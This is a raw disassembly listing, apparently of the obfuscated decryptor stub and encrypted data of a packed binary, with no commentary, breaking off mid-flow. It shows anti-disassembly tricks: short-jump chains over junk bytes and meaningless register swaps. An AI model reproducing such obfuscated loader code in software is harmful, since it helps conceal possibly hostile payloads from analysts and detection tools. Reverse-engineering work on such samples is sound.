		dd 0CB18D0EAh, 0F21EFE62h, 74C06C35h, 4BBA7CBEh, 85A16775h
		dd 4374EAD8h, 66A5F259h, 15B53A08h, 1240D435h, 0B992ABA6h
		dd 82367DBCh, 47203922h, 52847531h, 64581ACDh, 0EEA2F383h
		dd 532D72E9h, 33662C53h, 11A55B30h, 0DD6BA3A9h,	17B70DE1h
		dd 0D4997577h, 0B6FD9BE3h, 78375DE7h, 2CFD371Fh, 936594Fh
		dd 8E61AE1Dh, 85F695ABh, 0EE6C8CB9h, 10A634EFh,	129C49D9h
		dd 0AA088BA1h, 173FB5DAh, 12E32AE2h, 4920F0F3h,	0A1248575h
		dd 22D7D527h, 0A4F820DEh, 468F478Ah, 2B7EAF2Ch,	2E7DA0ACh
		dd 5932741Fh, 8FC29462h, 486ED89Eh, 6EE0A1FCh, 2D7424E1h
		dd 0DA388D07h, 0E13A6734h, 24C5E390h, 8174BC1Bh, 0FEA47D7Ah
		dd 0B4DD0A1Ch, 0F36FBD13h, 0E23C47E4h, 5FB6DF62h, 9D1C2D96h
		dd 0ED9DE651h, 2D5323C0h, 0FA2B3F42h, 321E5854h, 0D50605C2h
		dd 466888C3h, 7DFAAE50h, 0E9D01216h, 0F82302EDh, 19835D2Ah
		dd 324BA81h, 0D3A75ED5h, 0CCD38678h, 4C286C70h,	79D2566Dh
		dd 3E2A3E38h, 0EFE3128Eh, 7E4B9089h, 0E0FA35D6h, 79449DF3h
		dd 835A8C15h, 2085EC78h, 89A67041h, 5E9B4DFh, 0B75DC76Ch
		dd 95CF2D19h, 51E71A30h, 929FED72h, 0F4B2DBE6h,	0E9221C06h
		dd 81EE2787h, 0D68F6723h, 9438B7DBh, 0BEC7C1FBh, 8AF888FCh
		dd 0A06D66Ch, 36A18909h, 0D5334084h, 0B7A670D1h, 3F9080CCh
		dd 22DCEA57h, 268FD51h,	1FEAFB11h, 0A64B8FADh, 0D80E2242h
		dd 0E85AF55Fh, 3CDBC776h, 5363298Fh, 1302FDFFh,	7BEB37E5h
		dd 6E20FD0Bh, 0FE0F7A3Bh, 58A9C007h, 0F85A95A8h, 0C336C4C9h
		dd 0F6180EE0h, 83985B9Ch, 9F6BA64Eh, 82B1C007h,	131F8349h
		dd 53995DBEh, 0C2F2A92Ch, 0F9544353h, 8F241A68h, 0CB436FEDh
		dd 7FE7F924h, 0CEB65C3Ah, 5BB3EE9Bh, 81D42583h,	6D00718Ch
		dd 9107E382h, 1BA0879Ah, 561A7893h, 38735B4Dh, 7A669538h
		dd 71AE8D5Eh, 922ADC02h, 0FC4BA500h, 0E8E289Bh,	0A632CB27h
		dd 810F064Dh, 4DF6B450h, 0CC7E426Ch, 0FF2C9B3h,	4DBA2321h
		dd 7D15CDD0h, 2DEAB101h, 0F78F1756h, 0D384E33Dh, 44D13E91h
		dd 0CCAD804Fh, 91109B87h, 694ECCE2h, 0B067E77Ah, 31B27E89h
		dd 4109B825h, 0A312C515h, 0FE945CDDh, 9984E394h, 0F76DDF4Bh
		dd 9F1BE82Ah, 0F09AF3C0h, 77B5B989h, 71FE6072h,	9DBD23FDh
		dd 318A1033h, 0A94709DDh, 0A4E92EF3h, 4214EC29h, 0A65E66FAh
		dd 61411FEFh, 0F6FE7EE3h, 0EE3A2483h, 0CABEF77h, 0E4416E5Fh
		dd 0A6C81B50h, 5ADDEF11h, 0D9AA4E7Dh, 3CC44CCh,	10C8F05Eh
		dd 518102h, 0B312239Bh,	790EF39Bh, 6CAD8440h, 0C8AADE4Ah
		dd 0B2ABE0AAh, 670C1612h, 0F7EB98Eh, 0A095F5B6h, 0D38A3D33h
		dd 43FE8CF2h, 446B4158h, 0C279477Eh, 0F7672E2h,	0B7D1BA80h
		dd 8203411Ch, 0B1BE5170h, 0FBC6012Fh, 0D0F68B4Dh, 0A9099320h
		dd 0DD93CE5Fh, 3924204Bh, 62D8ADFCh, 0E1EE194Eh, 6B70FE6Dh
		dd 6BB7EB1Fh, 81D81F8Bh, 0B0A2CB95h, 12F44F4Eh,	1A77D4B7h
		dd 203BFDF0h, 84D87CB9h, 6338727h, 3EC46B09h, 0ACD0D1FBh
		db 22h,	8Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [esp+8]
		mov	ebp, eax
		pusha
		mov	eax, 0D715F6E9h
		push	eax
		dec	eax
		jmp	short loc_42A78F
; ---------------------------------------------------------------------------
		db 69h,	71h, 0D7h
		dd 0FC11A0E4h, 68E8B67Bh, 7B38CE33h, 0EDD86668h, 0A8FEC372h
		db 90h
		db 7Eh,	31h
; ---------------------------------------------------------------------------


loc_42A78F:				; CODE XREF: DMN0:0042A773j
		cld
		jmp	short loc_42A7AA
; ---------------------------------------------------------------------------
		dw 0EDF9h
		dd 18001A35h, 4FD1EE20h, 0D4669170h, 817FE0FFh,	89758920h
; ---------------------------------------------------------------------------
		inc	ebp
		inc	esi


loc_42A7AA:				; CODE XREF: DMN0:0042A790j
		xchg	ebx, esp
		jmp	short loc_42A7BE
; ---------------------------------------------------------------------------
		dw 17D7h
		dd 1EE967A7h, 715FAC9Fh, 0FE3D97C8h
		db 0F3h, 56h
; ---------------------------------------------------------------------------


loc_42A7BE:				; CODE XREF: DMN0:0042A7ACj
		clc
		jmp	short loc_42A7E0
; ---------------------------------------------------------------------------
		db 0FDh, 0CDh, 56h
		dd 85D8C57Ch, 47EE7750h, 0F99CE3A2h, 431F3A88h,	0D8803A07h
		dd 0FE131B4Bh, 5BD1989Ah
; ---------------------------------------------------------------------------


loc_42A7E0:				; CODE XREF: DMN0:0042A7BFj
		xchg	ecx, esi
		xchg	eax, eax
		jmp	short loc_42A7EF
; ---------------------------------------------------------------------------
		stosd
		cdq
		mov	bl, 3Dh
		mov	ds:0E3F27AA0h, eax


loc_42A7EF:				; CODE XREF: DMN0:0042A7E4j
		jmp	short loc_42A808
; ---------------------------------------------------------------------------
		fxch4	st
		xchg	eax, esi
		retn
; ---------------------------------------------------------------------------
		cli
		or	edi, [esi-5189960Ch]
		sti
		imul	ebx, [esi-6C1BE6ECh], -77h
		xchg	eax, edx
		add	[edi+ebx], dh


loc_42A808:				; CODE XREF: DMN0:loc_42A7EFj
		jmp	short loc_42A80D
; ---------------------------------------------------------------------------
		dw 833Fh
		db 0BFh
; ---------------------------------------------------------------------------


loc_42A80D:				; CODE XREF: DMN0:loc_42A808j
		jmp	short loc_42A82C
; ---------------------------------------------------------------------------
		mov	ebp, 9329EA99h
		clc
		xchg	eax, ecx
		adc	al, 0D7h
		scasd
		mov	eax, [eax+62BD9A72h]
		cwde
		test	al, 0ECh
		cld
		mov	edi, 0B0770249h
		pop	ss
		xor	al, [esi+67h]


loc_42A82C:				; CODE XREF: DMN0:loc_42A80Dj
		mov	esi, 31000h
		jmp	short loc_42A83F
; ---------------------------------------------------------------------------
		db 6Fh
		dd 204C850Eh, 7BE2B587h
; ---------------------------------------------------------------------------
		ror	esi, 64h


loc_42A83F:				; CODE XREF: DMN0:0042A831j
		xchg	ebx, esp
		jmp	short loc_42A84F
; ---------------------------------------------------------------------------
		db 0E0h
		dd 87ED7C22h, 0F5281325h
		db 44h,	51h, 65h
; ---------------------------------------------------------------------------


loc_42A84F:				; CODE XREF: DMN0:0042A841j
		stc
		jmp	short loc_42A85C
; ---------------------------------------------------------------------------
		dw 0B968h
		dd 6DF7630h, 29307440h
; ---------------------------------------------------------------------------


loc_42A85C:				; CODE XREF: DMN0:0042A850j
		jmp	short loc_42A863
; ---------------------------------------------------------------------------
		dw 0B29Fh
		db 0, 5Ah, 0EEh
; ---------------------------------------------------------------------------


loc_42A863:				; CODE XREF: DMN0:loc_42A85Cj
		jmp	short loc_42A872
; ---------------------------------------------------------------------------
		mov	esp, [ecx]
		xor	al, 0ADh
		jbe	short loc_42A8E0
		or	al, 0ADh
		pop	ecx
		pusha
		sar	byte ptr [ebx],	1


loc_42A872:				; CODE XREF: DMN0:loc_42A863j
		jmp	short loc_42A885
; ---------------------------------------------------------------------------
		dd 50BE695Ch, 22AA6222h, 4735CADDh, 6BA6C1F1h
		db 0D4h
; ---------------------------------------------------------------------------


loc_42A885:				; CODE XREF: DMN0:loc_42A872j
		jmp	short loc_42A89B
; ---------------------------------------------------------------------------
		db 45h
		dd 0D75BCDCDh, 0D93884Ch, 260C875h, 9CD781EDh
		db 51h,	5Ch, 33h
; ---------------------------------------------------------------------------


loc_42A89B:				; CODE XREF: DMN0:loc_42A885j
		clc
		jmp	short loc_42A8AE
; ---------------------------------------------------------------------------
		dw 7EFEh
		dd 58B3A1DEh, 5E19A74Ah, 0C68B2F24h
		db 0D3h, 6Eh
; ---------------------------------------------------------------------------


loc_42A8AE:				; CODE XREF: DMN0:0042A89Cj
		mov	edi, 5829h


loc_42A8B3:				; CODE XREF: DMN0:0042AEDEj
		xchg	esp, edi
		clc
		xchg	ebx, ebx
		jmp	short loc_42A8CA
; ---------------------------------------------------------------------------
		dw 439Ch
		dd 0D66469A1h, 0A6DB81B0h, 0F365B8D2h
		db 21h,	64h
; ---------------------------------------------------------------------------


loc_42A8CA:				; CODE XREF: DMN0:0042A8B8j
		clc
		jmp	short loc_42A8CE
; ---------------------------------------------------------------------------
		db 7Fh
; ---------------------------------------------------------------------------


loc_42A8CE:				; CODE XREF: DMN0:0042A8CBj
		jmp	short loc_42A8DB
; ---------------------------------------------------------------------------
		dd 804ED142h, 8DD5252Fh
		db 0BAh, 79h, 18h
; ---------------------------------------------------------------------------


loc_42A8DB:				; CODE XREF: DMN0:loc_42A8CEj
		jmp	short loc_42A8F2
; ---------------------------------------------------------------------------
		add	cl, ah
		popa


loc_42A8E0:				; CODE XREF: DMN0:0042A86Aj
		cmc
		or	ebx, [bx+di]
		sbb	ds:0B102626Bh, bl
		push	edi
		cdq
		sub	edx, [ecx]
		adc	[eax-0Fh], al
; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------


loc_42A8F2:				; CODE XREF: DMN0:loc_42A8DBj
		jmp	short loc_42A8F7
; ---------------------------------------------------------------------------
		db 84h,	0DAh, 15h
; ---------------------------------------------------------------------------


loc_42A8F7:				; CODE XREF: DMN0:loc_42A8F2j
		jmp	short loc_42A903
; ---------------------------------------------------------------------------
		db 0Dh,	23h, 42h
		dd 0B9FEFBFAh
		db 64h,	13h, 0CCh
; ---------------------------------------------------------------------------


loc_42A903:				; CODE XREF: DMN0:loc_42A8F7j
		jmp	short loc_42A924
; ---------------------------------------------------------------------------
		db 94h,	5Fh, 98h
		dd 9F3132BEh, 13869EB2h, 0DD0C1B23h, 483E6152h,	0E4A44839h
		dd 0CFA9B535h, 8D7A147Bh
; ---------------------------------------------------------------------------


loc_42A924:				; CODE XREF: DMN0:loc_42A903j
		jmp	short loc_42A92C
; ---------------------------------------------------------------------------
		dw 0DFABh
; ---------------------------------------------------------------------------
		mov	cl, 0F5h
		xchg	eax, esp
		xchg	eax, edx


loc_42A92C:				; CODE XREF: DMN0:loc_42A924j
		jmp	short loc_42A93B
; ---------------------------------------------------------------------------
		dw 0D45h
		dd 0B0AE8B0Ch, 0A01B3911h
; ---------------------------------------------------------------------------
		sti
		xchg	eax, esp
		push	ecx


loc_42A93B:				; CODE XREF: DMN0:loc_42A92Cj
		jmp	short loc_42A948
; ---------------------------------------------------------------------------
		db 98h,	75h, 0C3h
		dd 61B8D863h, 0AC4B8E6Eh
; ---------------------------------------------------------------------------


loc_42A948:				; CODE XREF: DMN0:loc_42A93Bj
		jmp	short loc_42A94B
; ---------------------------------------------------------------------------
		db 0D8h
; ---------------------------------------------------------------------------


loc_42A94B:				; CODE XREF: DMN0:loc_42A948j
		mov	ebx, esi
		jmp	short loc_42A95C
; ---------------------------------------------------------------------------
		cld
		and	[edi], esp
		sub	bl, [edx]
		jmp	dword ptr ds:0FEEFA03Ch
; ---------------------------------------------------------------------------
		dw 0D05Ch
; ---------------------------------------------------------------------------


loc_42A95C:				; CODE XREF: DMN0:0042A94Dj
		jmp	short loc_42A978
; ---------------------------------------------------------------------------
		xchg	eax, ecx
		inc	ecx
		and	esi, [ebp-7BF6AF6h]
		mov	ebx, 18C0453Eh
		pop	esi
		retf
; ---------------------------------------------------------------------------
		db 0B7h, 2Bh, 0F4h
		dd 3B5AAEDAh, 0B831E299h
; ---------------------------------------------------------------------------


loc_42A978:				; CODE XREF: DMN0:loc_42A95Cj
		add	ebx, ebp
		jmp	short loc_42A985
; ---------------------------------------------------------------------------
		dd 0C5463A43h, 0C5368540h
; ---------------------------------------------------------------------------
		xchg	eax, ebx


loc_42A985:				; CODE XREF: DMN0:0042A97Aj
		dec	edx
		jmp	short $+2
		jmp	short loc_42A9A0
; ---------------------------------------------------------------------------
		dw 25F1h
		dd 3D6040BFh, 0AA7EF5DFh, 11073A4Ah, 0E05E939Fh, 85AB8BAAh
; ---------------------------------------------------------------------------


loc_42A9A0:				; CODE XREF: DMN0:0042A988j
		xchg	esi, esp


loc_42A9A2:				; CODE XREF: DMN0:0042A9FFj
		mov	eax, [ebx]
		jmp	short loc_42A9B5
; ---------------------------------------------------------------------------
		pop	ss
		and	eax, 0D10EBF09h
		jbe	short near ptr loc_42A9AE+4


loc_42A9AE:				; CODE XREF: DMN0:0042A9ACj
		mov	ebp, 2F75C057h
		adc	eax, esp


loc_42A9B5:				; CODE XREF: DMN0:0042A9A4j
		jmp	short loc_42A9C4
; ---------------------------------------------------------------------------
		db 0ADh
		dd 8F169879h, 69D3DC51h, 85620A56h
; ---------------------------------------------------------------------------


loc_42A9C4:				; CODE XREF: DMN0:loc_42A9B5j
		jmp	short loc_42A9DE
; ---------------------------------------------------------------------------
		dw 81DDh
		dd 791D3E4Ah, 5045A086h, 0DD77E7AEh, 0C1D08151h, 9D51A89Fh
		db 0EFh, 79h
; ---------------------------------------------------------------------------


loc_42A9DE:				; CODE XREF: DMN0:loc_42A9C4j
		xchg	eax, edx
		jmp	short loc_42A9F1
; ---------------------------------------------------------------------------
		dw 55DCh
		dd 1293E12Dh, 0D4ADF5A3h, 3F8578D8h
; ---------------------------------------------------------------------------
		icebp


loc_42A9F1:				; CODE XREF: DMN0:0042A9E0j
		xor	edx, [edi]
		jmp	short loc_42AA01
; ---------------------------------------------------------------------------
		mov	bl, 2Eh
		push	es
		add	bh, [eax-3A442E81h]
		lodsb
		jno	short loc_42A9A2


loc_42AA01:				; CODE XREF: DMN0:0042A9F3j
		jmp	short loc_42AA05
; ---------------------------------------------------------------------------
		db 0BDh
; ---------------------------------------------------------------------------
		dec	edx


loc_42AA05:				; CODE XREF: DMN0:loc_42AA01j
		xchg	edx, [edi]
		jmp	short $+2
		jmp	short loc_42AA15
; ---------------------------------------------------------------------------
		db 72h
		dd 178C7E93h, 874578F6h
; ---------------------------------------------------------------------------
		inc	esi


loc_42AA15:				; CODE XREF: DMN0:0042AA09j
		jmp	short loc_42AA2E
; ---------------------------------------------------------------------------
		xchg	eax, edx
		retn	2EB6h
; ---------------------------------------------------------------------------
		db 8Ch
		dd 27813D6Dh, 0E8094F2Eh, 0AE60F84Ah, 0B51CBBCh
		db 6Fh,	0Fh
; ---------------------------------------------------------------------------


loc_42AA2E:				; CODE XREF: DMN0:loc_42AA15j
		jmp	short loc_42AA3C
; ---------------------------------------------------------------------------
		dd 0B8A03D44h, 542F8F2Ah, 0CD7DD0AEh
; ---------------------------------------------------------------------------


loc_42AA3C:				; CODE XREF: DMN0:loc_42AA2Ej
		jmp	short loc_42AA3F
; ---------------------------------------------------------------------------
		cmpsd


loc_42AA3F:				; CODE XREF: DMN0:loc_42AA3Cj
		test	ebx, 0D87095D3h
		xchg	ebx, esi
		xchg	esi, esp
		jmp	short loc_42AA5F
; ---------------------------------------------------------------------------
		db 12h
		dd 0F27BD5D2h, 0ABABDFD8h, 19A2DDC1h, 0CB10ACF3h
		db 66h,	1Eh, 14h
; ---------------------------------------------------------------------------


loc_42AA5F:				; CODE XREF: DMN0:0042AA49j
		jmp	short loc_42AA70
; ---------------------------------------------------------------------------
		db 0EFh, 0E5h, 5Fh
		dd 0B67FC529h, 46B1A691h, 50E7BA92h
; ---------------------------------------------------------------------------


loc_42AA70:				; CODE XREF: DMN0:loc_42AA5Fj
		clc
		xchg	esp, ebx
		sub	edx, 0BD1622h
		jmp	short loc_42AA85
; ---------------------------------------------------------------------------
		db 75h
		dd 0AF59565Bh, 991206E7h
; ---------------------------------------------------------------------------
		pop	ebp


loc_42AA85:				; CODE XREF: DMN0:0042AA79j
		jmp	short loc_42AAA6
; ---------------------------------------------------------------------------
		db 61h
		dd 34122341h, 8BA3F7AAh, 7432B25Ch, 0C558D1E9h,	0E1D5BA61h
		dd 0F3AF25DDh, 0BEBCE104h
		db 0F7h, 9
; ---------------------------------------------------------------------------


loc_42AAA6:				; CODE XREF: DMN0:loc_42AA85j
		xchg	ebx, ebp
		inc	ebp
		jmp	short loc_42AAAC
; ---------------------------------------------------------------------------
		daa


loc_42AAAC:				; CODE XREF: DMN0:0042AAA9j
		jmp	short loc_42AAC5
; ---------------------------------------------------------------------------
		dw 7F1Eh
		dd 8E0D34C0h, 23E69777h, 0C505FDC8h, 0B404FE2h,	4508666h
		db 0F7h
; ---------------------------------------------------------------------------


loc_42AAC5:				; CODE XREF: DMN0:loc_42AAACj
		jmp	short loc_42AAD6
; ---------------------------------------------------------------------------
		db 56h
		dd 0B746FB9Ch, 9F2C338Ah, 0BD755CF0h
; ---------------------------------------------------------------------------
		xchg	ebp, [ecx]


loc_42AAD6:				; CODE XREF: DMN0:loc_42AAC5j
		xchg	ebp, edx
		stc
		rol	eax, cl
		rol	ebp, 1
		jmp	short loc_42AAE0
; ---------------------------------------------------------------------------
		push	ebx


loc_42AAE0:				; CODE XREF: DMN0:0042AADDj
		jmp	short loc_42AAFE
; ---------------------------------------------------------------------------
		dw 402Dh
; ---------------------------------------------------------------------------
		inc	edx
		pop	eax
		and	cl, [edi-73D038DAh]
		jmp	fword ptr [edi]
; ---------------------------------------------------------------------------
		dw 1CB5h
		dd 0A973E420h, 0E7658A50h, 63F38F1Ah
; ---------------------------------------------------------------------------
		add	al, 0F0h


loc_42AAFE:				; CODE XREF: DMN0:loc_42AAE0j
		jmp	short loc_42AB1A
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 9Ah,	96h, 76h
		dd 1951E080h, 0A4E0B128h, 6D59DE26h, 0EF75840Fh, 0FA2C1243h
		db 0EFh, 9Ch
; ---------------------------------------------------------------------------


loc_42AB1A:				; CODE XREF: DMN0:loc_42AAFEj
		xchg	ebp, [edi]
		neg	eax
		xor	edx, 0CDD9CE8Ch
		jmp	short loc_42AB38
; ---------------------------------------------------------------------------
		dw 0E444h
		dd 5EC4B669h, 0D8761826h, 5FDAF5F9h, 6B356231h
; ---------------------------------------------------------------------------


loc_42AB38:				; CODE XREF: DMN0:0042AB24j
		jmp	short loc_42AB45
; ---------------------------------------------------------------------------
		dw 8244h
		dd 814BAF68h, 0AE735579h
		db 0A8h
; ---------------------------------------------------------------------------


loc_42AB45:				; CODE XREF: DMN0:loc_42AB38j
		cmc
		jmp	short loc_42AB65
; ---------------------------------------------------------------------------
		dd 9C8E887h, 3220E8A5h,	70BAA589h, 0C0611A0Ah, 0E8861C9Eh
		dd 801B4D8Fh, 20C222B0h
		db 0DAh
; ---------------------------------------------------------------------------


loc_42AB65:				; CODE XREF: DMN0:0042AB46j
		stc
		jmp	short loc_42AB69
; ---------------------------------------------------------------------------
		db 3Ch
; ---------------------------------------------------------------------------


loc_42AB69:				; CODE XREF: DMN0:0042AB66j
		cld
		jmp	short loc_42AB70
; ---------------------------------------------------------------------------
		dd 17877B9Ah
; ---------------------------------------------------------------------------


loc_42AB70:				; CODE XREF: DMN0:0042AB6Aj
		xchg	esi, edx
		xchg	esp, esp
		mov	eax, edx
		test	ecx, 208F99E2h
		jmp	short loc_42AB99
; ---------------------------------------------------------------------------
		dw 0DAFAh
		dd 2133EAE5h, 0F20F1E04h, 60AB9230h, 4E7D107Dh,	1E40ABFCh
		dd 9BD56A5Eh
		db 0DDh
; ---------------------------------------------------------------------------


loc_42AB99:				; CODE XREF: DMN0:0042AB7Cj
		jmp	short loc_42ABA4
; ---------------------------------------------------------------------------
		db 0CDh
		dd 534E8E44h, 0D32F0739h
; ---------------------------------------------------------------------------


loc_42ABA4:				; CODE XREF: DMN0:loc_42AB99j
		jmp	short loc_42ABC1
; ---------------------------------------------------------------------------
		dw 0D5CDh
		dd 4112E600h, 6DE1B21Eh, 0D6809B49h, 0E1B047C1h, 0B0BBC562h
		dd 64ECBD38h
		db 71h
; ---------------------------------------------------------------------------


loc_42ABC1:				; CODE XREF: DMN0:loc_42ABA4j
		jmp	short loc_42ABCE
; ---------------------------------------------------------------------------
		db 8
		dd 513B9186h, 85062328h
		db 0B8h, 6
; ---------------------------------------------------------------------------


loc_42ABCE:				; CODE XREF: DMN0:loc_42ABC1j
		jmp	short loc_42ABE5
; ---------------------------------------------------------------------------
		dd 0C39785ABh, 2E3ADCC0h, 4DD7CE31h, 0E3AC134Ch, 99CB359Fh
		db 0Bh
; ---------------------------------------------------------------------------


loc_42ABE5:				; CODE XREF: DMN0:loc_42ABCEj
		jmp	short loc_42ABEB
; ---------------------------------------------------------------------------
		db 0B2h
		db 0CDh, 16h, 8Fh
; ---------------------------------------------------------------------------


loc_42ABEB:				; CODE XREF: DMN0:loc_42ABE5j
		jmp	short loc_42ABF9
; ---------------------------------------------------------------------------
		db 0C9h, 0EFh, 64h
		dd 4FC3131Eh, 4E2F107h
		db 0C5h
; ---------------------------------------------------------------------------


loc_42ABF9:				; CODE XREF: DMN0:loc_42ABEBj
		jmp	short loc_42AC02
; ---------------------------------------------------------------------------
		db 0F4h
		dd 38F03C8Fh
; ---------------------------------------------------------------------------
		wait
		dec	edx


loc_42AC02:				; CODE XREF: DMN0:loc_42ABF9j
		jmp	short loc_42AC10
; ---------------------------------------------------------------------------
		aad	52h
		push	cs
		mov	ebp, 20AA2B2Ch
		xchg	eax, ebx
		mov	bh, 0B7h
		push	ss


loc_42AC10:				; CODE XREF: DMN0:loc_42AC02j
		jmp	short loc_42AC30
; ---------------------------------------------------------------------------
		dw 647Bh
		dd 90E781A4h, 4A7519F8h, 0E7132187h, 0F3F48830h, 0C27A4B02h
		dd 0B2128DF4h, 0E5139172h
; ---------------------------------------------------------------------------


loc_42AC30:				; CODE XREF: DMN0:loc_42AC10j
		add	eax, ebx
		jmp	short loc_42AC3C
; ---------------------------------------------------------------------------
		cmc
		pop	ss
		retn
; ---------------------------------------------------------------------------
		db 0F8h
		db 0CCh
		db 0A8h, 0A5h, 3Eh
; ---------------------------------------------------------------------------


loc_42AC3C:				; CODE XREF: DMN0:0042AC32j
		jmp	short loc_42AC4F
; ---------------------------------------------------------------------------
		dw 42CEh
		dd 6D927BFAh, 0DDF602D4h, 0B05A9028h
		db 7Eh,	7Fh, 0D4h
; ---------------------------------------------------------------------------


loc_42AC4F:				; CODE XREF: DMN0:loc_42AC3Cj
		xchg	ecx, ebx
		jmp	short loc_42AC6B
; ---------------------------------------------------------------------------
		db 0B5h
		dd 0B9890627h, 0A83B722Fh, 0B61503B4h, 0AC0CE2EDh, 3CF8E814h
		db 0E8h, 0A4h, 0D5h
; ---------------------------------------------------------------------------


loc_42AC6B:				; CODE XREF: DMN0:0042AC51j
		xor	esi, 3BCBA576h
		xchg	eax, ebx
		xchg	ecx, eax
		jmp	short loc_42AC96
; ---------------------------------------------------------------------------
		db 0Eh
		dd 0EE527746h, 80ABC8DEh, 5F67AB7Bh, 55C415CFh,	71F3EA5Bh
		dd 510F2D4Ch, 2DC626FFh
		db 69h,	0FAh
; ---------------------------------------------------------------------------


loc_42AC96:				; CODE XREF: DMN0:0042AC75j
		mov	[ebx], ebp
		jmp	short loc_42ACB9
; ---------------------------------------------------------------------------
		dw 0FE9h
; ---------------------------------------------------------------------------
		retn	6110h
; ---------------------------------------------------------------------------
		pusha
		cmpsb
		mov	edi, 4764FBF9h
		mov	cl, 0F7h
		jmp	dword ptr ds:13B37470h
; ---------------------------------------------------------------------------
		dw 0DAF2h
; ---------------------------------------------------------------------------
		idiv	eax
		lea	eax, ds:761B6EA5h[ebp*4]


loc_42ACB9:				; CODE XREF: DMN0:0042AC98j
		jmp	short loc_42ACC0
; ---------------------------------------------------------------------------
		db 1Bh
		dd 541B332h
; ---------------------------------------------------------------------------


loc_42ACC0:				; CODE XREF: DMN0:loc_42ACB9j
		jmp	short loc_42ACD5
; ---------------------------------------------------------------------------
		dw 318Ah
		dd 827DACF5h, 0A8D3A78Bh, 72843AABh, 475707ABh
		db 0C6h
; ---------------------------------------------------------------------------


loc_42ACD5:				; CODE XREF: DMN0:loc_42ACC0j
		xchg	ecx, ebp
		jmp	short loc_42ACF8
; ---------------------------------------------------------------------------
		db 0C1h, 4Eh, 17h
		dd 957A7C68h, 12F076F4h, 2D358D4Eh, 0AC410888h,	759D45B7h
		dd 574B9D75h, 0E75C8894h
; ---------------------------------------------------------------------------


loc_42ACF8:				; CODE XREF: DMN0:0042ACD7j
		xchg	ecx, esp
		xchg	esi, esi
		jmp	short loc_42AD15
; ---------------------------------------------------------------------------
		dw 5515h
		dd 782FD644h, 89A9FE5Ah, 4AC10588h, 0E1E1CC5h, 656CFF43h
		db 0B3h
; ---------------------------------------------------------------------------


loc_42AD15:				; CODE XREF: DMN0:0042ACFCj
		jmp	short loc_42AD33
; ---------------------------------------------------------------------------
		db 61h
		dd 0A9E2997Dh, 0CFEF0795h, 47485B15h, 99EA9ACAh, 80A2BFA5h
		dd 7CFC1AFh
; ---------------------------------------------------------------------------
		sbb	[edx+0Bh], dl


loc_42AD33:				; CODE XREF: DMN0:loc_42AD15j
		cmc
		add	edx, 2
		jmp	short loc_42AD44
; ---------------------------------------------------------------------------
		db 0B2h, 89h, 0E9h
		dd 0E1308479h, 5E2F3635h
; ---------------------------------------------------------------------------


loc_42AD44:				; CODE XREF: DMN0:0042AD37j
		jmp	short loc_42AD56
; ---------------------------------------------------------------------------
		dw 0A745h
		dd 122B4F85h, 0C94AC33h, 0EEC6C11Ah
		db 89h,	90h
; ---------------------------------------------------------------------------


loc_42AD56:				; CODE XREF: DMN0:loc_42AD44j
		clc
		jmp	short loc_42AD67
; ---------------------------------------------------------------------------
		db 4, 0D9h, 0BEh
		dd 0BCC01129h, 982DDD3Eh
		db 8Bh,	4Ch, 6Bh
; ---------------------------------------------------------------------------


loc_42AD67:				; CODE XREF: DMN0:0042AD57j
		jmp	short loc_42AD78
; ---------------------------------------------------------------------------
		align 2
		dw 9471h
		dd 0E538D6B4h, 0DBDBB0F4h, 989CED9Fh
; ---------------------------------------------------------------------------


loc_42AD78:				; CODE XREF: DMN0:loc_42AD67j
		xchg	eax, edi
		jmp	short loc_42AD7F
; ---------------------------------------------------------------------------
		add	esi, [esi-70h]


loc_42AD7F:				; CODE XREF: DMN0:0042AD7Aj
		jmp	short loc_42AD86
; ---------------------------------------------------------------------------
		db 5Dh,	0E7h, 8Ch
		db 0BFh, 0C9h
; ---------------------------------------------------------------------------


loc_42AD86:				; CODE XREF: DMN0:loc_42AD7Fj
		add	edx, 1
		inc	ebp
		stc
		jmp	short loc_42AD92
; ---------------------------------------------------------------------------
		movsd
		ror	byte ptr [esi-30h], 1
		push	esp


loc_42AD92:				; CODE XREF: DMN0:0042AD8Bj
		xchg	edi, esp
		clc
		xchg	edi, ebp
		xchg	ecx, eax
		jmp	short loc_42ADAB
; ---------------------------------------------------------------------------
		db 64h
		dd 587E7F56h, 1E0B6990h, 99EFFACh
		db 55h,	0A9h, 7Ch
; ---------------------------------------------------------------------------


loc_42ADAB:				; CODE XREF: DMN0:0042AD99j
		xchg	esi, ebx
		jmp	short loc_42ADB3
; ---------------------------------------------------------------------------
		inc	edi
		ficom	word ptr [ebp-7Ah]


loc_42ADB3:				; CODE XREF: DMN0:0042ADADj
		stc
		jmp	short loc_42ADD4
; ---------------------------------------------------------------------------
		dw 1957h
		dd 5978AE09h, 20C6A01h,	0C98CD2ADh, 7DF7DA2Fh, 0DD0E5EB8h
		dd 2D28E71Dh, 8F748BAh
; ---------------------------------------------------------------------------


loc_42ADD4:				; CODE XREF: DMN0:0042ADB4j
		not	ebp
		stc
		jmp	short loc_42ADEA
; ---------------------------------------------------------------------------
		db 0A0h, 13h, 0C9h
		dd 6FE0910Ah, 0FA5E8B83h, 5325C7D4h
		db 0F9h, 6Fh
; ---------------------------------------------------------------------------


loc_42ADEA:				; CODE XREF: DMN0:0042ADD7j
		inc	edx
		jmp	short loc_42ADFC
; ---------------------------------------------------------------------------
		add	ah, ch
		enter	292Dh, 80h
		fnstcw	word ptr [edi+0B29ADA4h]
		xor	edi, edi
		dec	esi


loc_42ADFC:				; CODE XREF: DMN0:0042ADEBj
		xchg	edx, ebx
		jmp	short loc_42AE0C
; ---------------------------------------------------------------------------
		dec	esi
		retf	1204h
; ---------------------------------------------------------------------------
		dd 35E12C8Fh, 0E168B66h
; ---------------------------------------------------------------------------


loc_42AE0C:				; CODE XREF: DMN0:0042ADFEj
		std
		bswap	edi
		jmp	short loc_42AE13
; ---------------------------------------------------------------------------
		sbb	al, ch


loc_42AE13:				; CODE XREF: DMN0:0042AE0Fj
		jmp	short loc_42AE1D
; ---------------------------------------------------------------------------
		db 6Bh,	0EBh, 7Eh
		dd 39E0B4E6h
		db 0E2h
; ---------------------------------------------------------------------------


loc_42AE1D:				; CODE XREF: DMN0:loc_42AE13j
		jmp	short loc_42AE32
; ---------------------------------------------------------------------------
		db 8
		dd 3D12BE74h, 763EC65Eh, 5005BCA9h, 47A67677h
		db 49h,	0
; ---------------------------------------------------------------------------


loc_42AE32:				; CODE XREF: DMN0:loc_42AE1Dj
		jmp	short loc_42AE3F
